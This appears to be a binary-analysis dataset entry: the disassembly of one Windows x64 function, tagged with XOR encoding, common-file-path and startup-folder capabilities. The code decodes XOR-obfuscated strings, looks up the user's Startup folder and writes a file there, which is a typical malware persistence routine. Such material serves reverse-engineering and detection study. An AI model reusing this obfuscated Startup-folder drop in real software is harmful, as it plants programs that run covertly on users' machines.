Function at 0x140002740
Capabilities:
Encode data using xor
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r14d, r14d
movdqa xmm0, xmmword [0x1400076d0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140007700]
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0x7760366b
mov dword [rsp + 0x64], 0x312f7f75
mov dword [rsp + 0x68], 0x4e4d44
mov byte [rsp + 0x6c], 1
mov ecx, r14d
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x2b
jb 0x1400027c0
mov byte [rsp + 0x6c], r14b
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.140004170
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0xd0]
call fcn.140001470
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002836
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002831
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002831
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
movdqa xmm0, xmmword [0x1400076b0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
cmp qword [rbp + 0xe0], 0
je 0x140002b57
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x140002b57
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rax, [rbp + 0xf0]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400028a0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140002bc7
mov qword [rsp + 0x58], 0xf
cmp rbx, 0xf
ja 0x1400028ee
mov qword [rsp + 0x50], rbx
mov r8, rbx
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x40], 0
jmp 0x14000298c
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140002923
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005040
test rax, rax
je 0x14000294e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002967
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002955
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002bcd
jmp 0x140002908
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002964
call fcn.140005040
mov rsi, rax
jmp 0x140002967
mov rsi, r14
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
mov r8, rbx
lea rdx, [rbp + 0xf0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov dword [rsp + 0x30], 0x929683a4
mov dword [rsp + 0x34], 0x9bd0cc9e
mov dword [rsp + 0x38], 0x1006d6c
mov rcx, r14
nop word [rax + rax]
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x1400029b0
mov byte [rsp + 0x3b], 0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.1400048d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002a1c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
lea rcx, [rbp - 0x60]
call fcn.140004550
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140002af2
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x58]
call fcn.140004490
test rax, rax
jne 0x140002af2
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x60]
call fcn.140002680
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140002b40
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
movdqa xmm0, xmmword [0x1400076b0]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140002b9b
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140005020
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3